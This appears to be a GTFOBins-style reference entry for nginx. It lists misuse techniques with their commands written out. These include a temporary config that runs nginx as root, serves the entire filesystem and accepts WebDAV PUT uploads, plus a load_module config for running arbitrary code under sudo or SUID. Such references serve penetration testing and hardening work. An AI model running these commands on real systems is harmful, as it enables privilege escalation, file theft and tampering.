nginx
Upload
This executable can upload local data.
- This function is performed by the privileged user if executed via
sudobecause the acquired privileges are not dropped.cat >/path/to/temp-file <<EOFuser root;http { server { listen 80; root /; autoindex on; dav_methods PUT; }}events {}EOFnginx -c /path/to/temp-file
Download
This executable can download remote data.
- This function is performed by the privileged user if executed via
sudobecause the acquired privileges are not dropped.cat >/path/to/temp-file <<EOFuser root;http { server { listen 80; root /; autoindex on; dav_methods PUT; }}events {}EOFnginx -c /path/to/temp-file
Library load
This executable can load shared libraries that may be used to run arbitrary code in the same execution context.
- This function can be performed by any unprivileged user.
cat >/path/to/temp-file <<EOFload_module /path/to/lib.so;EOFnginx -t -c /path/to/temp-fileThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.cat >/path/to/temp-file <<EOFload_module /path/to/lib.so;EOFnginx -t -c /path/to/temp-fileThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.cat >/path/to/temp-file <<EOFload_module /path/to/lib.so;EOFnginx -t -c /path/to/temp-file